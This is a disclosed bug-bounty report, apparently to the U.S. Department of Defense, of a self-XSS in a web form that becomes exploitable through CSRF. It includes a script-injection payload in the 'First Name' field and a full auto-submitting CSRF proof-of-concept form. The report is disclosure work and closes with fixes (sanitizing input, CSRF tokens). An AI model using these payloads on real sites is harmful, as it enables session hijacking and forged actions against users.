U.S. Dept Of Defense · Report #1109544
Self XSS + CSRF Leads to Reflected XSS in https://████/
Validstatus
mediumseverity
4upvotes
24 Mar 2021disclosed
How it was found
Hi Security Team, The form inputs in https://███/ Vulnerable to Self XSS Either the form was vulnerable to CSRF
When these two bugs available and attacker could combine them to Perform a Reflected XSS Attack
Impact
Reflected XSS Execute JS Code in behave of a user
System Host(s)
█████████
Affected Product(s) and Version(s)
CVE Numbers
Steps to Reproduce
1 - Visit https://███████/
2 - type the payload in the "First Name" input test";</script><script>alert(document.cookie)</script>
3 - Fill all input then submit the form
4 - Notice the XSS popup
5 - Exploit the CSRF to Perform Reflected XSS attack by this Code:-
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://██████████/" method="POST">
<input type="hidden" name="title" value="es" />
<input type="hidden" name="first_name" value="test";</script><script>alert(document.cookie)</script>" />
<input type="hidden" name="middle_name" value="test" />
<input type="hidden" name="last_name" value="test" />
<input type="hidden" name="suffix" value="II" />
<input type="hidden" name="sex" value="M" />
<input type="hidden" name="██████_█████" value="█████" />
<input type="hidden" name="████████_███████_number" value="21365" />
<input type="hidden" name="address_1" value="test" />
<input type="hidden" name="address_2" value="test" />
<input type="hidden" name="city" value="test" />
<input type="hidden" name="state" value="ID" />
<input type="hidden" name="zip_code" value="53228" />
<input type="hidden" name="country_code" value="" />
<input type="hidden" name="completion_date" value="2/23/2021" />
<input type="hidden" name="comments" value="test" />
<input type="hidden" name="mail_to_first_name" value="test";</script><script>alert("HACKED BY Sleep NOt Found")</script>" />
<input type="hidden" name="mail_to_middle_name" value="test" />
<input type="hidden" name="mail_to_last_name" value="test" />
<input type="hidden" name="mail_to_suffix" value="II" />
<input type="hidden" name="mail_to_address_1" value="test" />
<input type="hidden" name="mail_to_address_2" value="test" />
<input type="hidden" name="mail_to_city" value="test" />
<input type="hidden" name="mail_to_state" value="ID" />
<input type="hidden" name="mail_to_zip_code" value="53228" />
<input type="hidden" name="mail_to_country_code" value="" />
<input type="hidden" name="mail_to_email" value="lind.regan4046@yousmail.com" />
<input type="hidden" name="multiple_submissions" value="true" />
<input type="hidden" name="uniqueFormId" value="8567588" />
<input type="hidden" name="action" value="submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Suggested Mitigation/Remediation Actions
The input Should be sanitized The Form should be Protected with a CSRF Token